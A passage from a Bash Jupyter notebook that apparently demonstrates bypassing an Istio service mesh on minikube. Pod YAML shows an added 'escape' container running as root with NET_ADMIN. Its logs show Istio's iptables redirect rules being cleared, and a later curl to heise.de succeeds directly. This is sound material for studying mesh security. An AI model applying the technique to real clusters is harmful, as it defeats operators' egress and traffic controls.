      "    - -b\n",
      "    - '*'\n",
      "    - -d\n",
      "    - 15090,15021,15020\n",
      "    image: docker.io/istio/proxyv2:1.13.2\n",
      "    imagePullPolicy: IfNotPresent\n",
      "    name: istio-init\n",
      "    resources:\n",
      "      limits:\n",
      "        cpu: \"2\"\n",
      "        memory: 1Gi\n",
      "      requests:\n",
      "        cpu: 10m\n",
      "        memory: 40Mi\n",
      "    securityContext:\n",
      "      allowPrivilegeEscalation: false\n",
      "      capabilities:\n",
      "        add:\n",
      "        - NET_ADMIN\n",
      "        - NET_RAW\n",
      "        drop:\n",
      "        - ALL\n",
      "      privileged: false\n",
      "      readOnlyRootFilesystem: false\n",
      "      runAsGroup: 0\n",
      "      runAsNonRoot: false\n",
      "      runAsUser: 0\n",
      "    terminationMessagePath: /dev/termination-log\n",
      "    terminationMessagePolicy: File\n",
      "    volumeMounts:\n",
      "    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount\n",
      "      name: kube-api-access-vcgwn\n",
      "      readOnly: true\n",
      "  nodeName: minikube\n",
      "  preemptionPolicy: PreemptLowerPriority\n",
      "  priority: 0\n",
      "  restartPolicy: Always\n",
      "  schedulerName: default-scheduler\n",
      "  securityContext: {}\n",
      "  serviceAccount: default\n",
      "  serviceAccountName: default\n",
      "  terminationGracePeriodSeconds: 30\n",
      "  tolerations:\n",
      "  - effect: NoExecute\n",
      "    key: node.kubernetes.io/not-ready\n",
      "    operator: Exists\n",
      "    tolerationSeconds: 300\n",
      "  - effect: NoExecute\n",
      "    key: node.kubernetes.io/unreachable\n",
      "    operator: Exists\n",
      "    tolerationSeconds: 300\n",
      "  volumes:\n",
      "  - emptyDir:\n",
      "      medium: Memory\n",
      "    name: istio-envoy\n",
      "  - emptyDir: {}\n",
      "    name: istio-data\n",
      "  - downwardAPI:\n",
      "      defaultMode: 420\n",
      "      items:\n",
      "      - fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.labels\n",
      "        path: labels\n",
      "      - fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.annotations\n",
      "        path: annotations\n",
      "    name: istio-podinfo\n",
      "  - name: istio-token\n",
      "    projected:\n",
      "      defaultMode: 420\n",
      "      sources:\n",
      "      - serviceAccountToken:\n",
      "          audience: istio-ca\n",
      "          expirationSeconds: 43200\n",
      "          path: istio-token\n",
      "  - configMap:\n",
      "      defaultMode: 420\n",
      "      name: istio-ca-root-cert\n",
      "    name: istiod-ca-cert\n",
      "  - name: kube-api-access-vcgwn\n",
      "    projected:\n",
      "      defaultMode: 420\n",
      "      sources:\n",
      "      - serviceAccountToken:\n",
      "          expirationSeconds: 3607\n",
      "          path: token\n",
      "      - configMap:\n",
      "          items:\n",
      "          - key: ca.crt\n",
      "            path: ca.crt\n",
      "          name: kube-root-ca.crt\n",
      "      - downwardAPI:\n",
      "          items:\n",
      "          - fieldRef:\n",
      "              apiVersion: v1\n",
      "              fieldPath: metadata.namespace\n",
      "            path: namespace\n",
      "status:\n",
      "  conditions:\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T14:36:12Z\"\n",
      "    status: \"True\"\n",
      "    type: Initialized\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T14:36:18Z\"\n",
      "    status: \"True\"\n",
      "    type: Ready\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T14:36:18Z\"\n",
      "    status: \"True\"\n",
      "    type: ContainersReady\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T14:36:10Z\"\n",
      "    status: \"True\"\n",
      "    type: PodScheduled\n",
      "  containerStatuses:\n",
      "  - containerID: docker://108cec4650c646f2111159a39d6d9b22e38f7cc61e1797f8b9b9cce593a9194e\n",
      "    image: istio/proxyv2:1.13.2\n",
      "    imageID: docker-pullable://istio/proxyv2@sha256:fa15cda114bff2dd9bc0f98e988e65f5f43d77dcea652313d77b5bdfa0faf1b8\n",
      "    lastState: {}\n",
      "    name: escape\n",
      "    ready: true\n",
      "    restartCount: 0\n",
      "    started: true\n",
      "    state:\n",
      "      running:\n",
      "        startedAt: \"2022-03-29T14:36:12Z\"\n",
      "  - containerID: docker://64f8137992e70787a9b7cbca3b2e0dc4561415549bdcf11eb4ff8817efb33b5c\n",
      "    image: istio/proxyv2:1.13.2\n",
      "    imageID: docker-pullable://istio/proxyv2@sha256:fa15cda114bff2dd9bc0f98e988e65f5f43d77dcea652313d77b5bdfa0faf1b8\n",
      "    lastState: {}\n",
      "    name: istio-proxy\n",
      "    ready: true\n",
      "    restartCount: 0\n",
      "    started: true\n",
      "    state:\n",
      "      running:\n",
      "        startedAt: \"2022-03-29T14:36:12Z\"\n",
      "  - containerID: docker://8e8ccf92747cec2275a3d46af9403b2d2e93cda8f8b5429e9a287eda40f9753f\n",
      "    image: pstauffer/curl:latest\n",
      "    imageID: docker-pullable://pstauffer/curl@sha256:2663156457abb72d269eb19fe53c2d49e2e4a9fdcb9fa8f082d0282d82eb8e42\n",
      "    lastState: {}\n",
      "    name: sleep\n",
      "    ready: true\n",
      "    restartCount: 0\n",
      "    started: true\n",
      "    state:\n",
      "      running:\n",
      "        startedAt: \"2022-03-29T14:36:12Z\"\n",
      "  hostIP: 192.168.49.2\n",
      "  initContainerStatuses:\n",
      "  - containerID: docker://7dcb7a36596c6bbcacdc30717ea7ec95c8dec1a33689edab202f6067f607a1cd\n",
      "    image: istio/proxyv2:1.13.2\n",
      "    imageID: docker-pullable://istio/proxyv2@sha256:fa15cda114bff2dd9bc0f98e988e65f5f43d77dcea652313d77b5bdfa0faf1b8\n",
      "    lastState: {}\n",
      "    name: istio-init\n",
      "    ready: true\n",
      "    restartCount: 0\n",
      "    state:\n",
      "      terminated:\n",
      "        containerID: docker://7dcb7a36596c6bbcacdc30717ea7ec95c8dec1a33689edab202f6067f607a1cd\n",
      "        exitCode: 0\n",
      "        finishedAt: \"2022-03-29T14:36:11Z\"\n",
      "        reason: Completed\n",
      "        startedAt: \"2022-03-29T14:36:11Z\"\n",
      "  phase: Running\n",
      "  podIP: 172.17.0.4\n",
      "  podIPs:\n",
      "  - ip: 172.17.0.4\n",
      "  qosClass: Burstable\n",
      "  startTime: \"2022-03-29T14:36:10Z\"\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods escape -o yaml"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\n",
      "########  old rules ###########\n",
      "\n",
      "# Generated by iptables-save v1.8.4 on Tue Mar 29 14:36:12 2022\n",
      "*nat\n",
      ":PREROUTING ACCEPT [0:0]\n",
      ":INPUT ACCEPT [0:0]\n",
      ":OUTPUT ACCEPT [0:0]\n",
      ":POSTROUTING ACCEPT [0:0]\n",
      ":ISTIO_INBOUND - [0:0]\n",
      ":ISTIO_IN_REDIRECT - [0:0]\n",
      ":ISTIO_OUTPUT - [0:0]\n",
      ":ISTIO_REDIRECT - [0:0]\n",
      "-A PREROUTING -p tcp -j ISTIO_INBOUND\n",
      "-A OUTPUT -p tcp -j ISTIO_OUTPUT\n",
      "-A ISTIO_INBOUND -p tcp -m tcp --dport 15008 -j RETURN\n",
      "-A ISTIO_INBOUND -p tcp -m tcp --dport 15090 -j RETURN\n",
      "-A ISTIO_INBOUND -p tcp -m tcp --dport 15021 -j RETURN\n",
      "-A ISTIO_INBOUND -p tcp -m tcp --dport 15020 -j RETURN\n",
      "-A ISTIO_INBOUND -p tcp -j ISTIO_IN_REDIRECT\n",
      "-A ISTIO_IN_REDIRECT -p tcp -j REDIRECT --to-ports 15006\n",
      "-A ISTIO_OUTPUT -s 127.0.0.6/32 -o lo -j RETURN\n",
      "-A ISTIO_OUTPUT ! -d 127.0.0.1/32 -o lo -m owner --uid-owner 1337 -j ISTIO_IN_REDIRECT\n",
      "-A ISTIO_OUTPUT -o lo -m owner ! --uid-owner 1337 -j RETURN\n",
      "-A ISTIO_OUTPUT -m owner --uid-owner 1337 -j RETURN\n",
      "-A ISTIO_OUTPUT ! -d 127.0.0.1/32 -o lo -m owner --gid-owner 1337 -j ISTIO_IN_REDIRECT\n",
      "-A ISTIO_OUTPUT -o lo -m owner ! --gid-owner 1337 -j RETURN\n",
      "-A ISTIO_OUTPUT -m owner --gid-owner 1337 -j RETURN\n",
      "-A ISTIO_OUTPUT -d 127.0.0.1/32 -j RETURN\n",
      "-A ISTIO_OUTPUT -j ISTIO_REDIRECT\n",
      "-A ISTIO_REDIRECT -p tcp -j REDIRECT --to-ports 15001\n",
      "COMMIT\n",
      "# Completed on Tue Mar 29 14:36:12 2022\n",
      "\n",
      "######## cleared rules ##########\n",
      "\n",
      "# Generated by iptables-save v1.8.4 on Tue Mar 29 14:36:12 2022\n",
      "*mangle\n",
      ":PREROUTING ACCEPT [0:0]\n",
      ":INPUT ACCEPT [0:0]\n",
      ":FORWARD ACCEPT [0:0]\n",
      ":OUTPUT ACCEPT [0:0]\n",
      ":POSTROUTING ACCEPT [0:0]\n",
      "COMMIT\n",
      "# Completed on Tue Mar 29 14:36:12 2022\n",
      "# Generated by iptables-save v1.8.4 on Tue Mar 29 14:36:12 2022\n",
      "*filter\n",
      ":INPUT ACCEPT [0:0]\n",
      ":FORWARD ACCEPT [0:0]\n",
      ":OUTPUT ACCEPT [0:0]\n",
      "COMMIT\n",
      "# Completed on Tue Mar 29 14:36:12 2022\n",
      "# Generated by iptables-save v1.8.4 on Tue Mar 29 14:36:12 2022\n",
      "*nat\n",
      ":PREROUTING ACCEPT [0:0]\n",
      ":INPUT ACCEPT [0:0]\n",
      ":OUTPUT ACCEPT [0:0]\n",
      ":POSTROUTING ACCEPT [0:0]\n",
      ":ISTIO_INBOUND - [0:0]\n",
      ":ISTIO_IN_REDIRECT - [0:0]\n",
      ":ISTIO_OUTPUT - [0:0]\n",
      ":ISTIO_REDIRECT - [0:0]\n",
      "COMMIT\n",
      "# Completed on Tue Mar 29 14:36:12 2022\n"
     ]
    }
   ],
   "source": [
    "kubectl logs escape -c escape"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n",
      "<html><head>\n",
      "<title>301 Moved Permanently</title>\n",
      "</head><body>\n",
      "<h1>Moved Permanently</h1>\n",
      "<p>The document has moved <a href=\"https://www.heise.de/\">here</a>.</p>\n",
      "</body></html>\n"
     ]
    }
   ],
   "source": [
    "kubectl exec -it escape -c sleep -- curl -s heise.de "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "   6248   41879  704076\n"
     ]
    }
   ],
   "source": [
    "kubectl exec -it escape -c sleep -- curl -sL heise.de | wc"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "kubectl get pods --all-namespaces"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "istioctl "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "istioctl analyze"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Bash",
   "language": "bash",
   "name": "bash"
  },
  "language_info": {
   "codemirror_mode": "shell",
   "file_extension": ".sh",
   "mimetype": "text/x-sh",
   "name": "bash"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}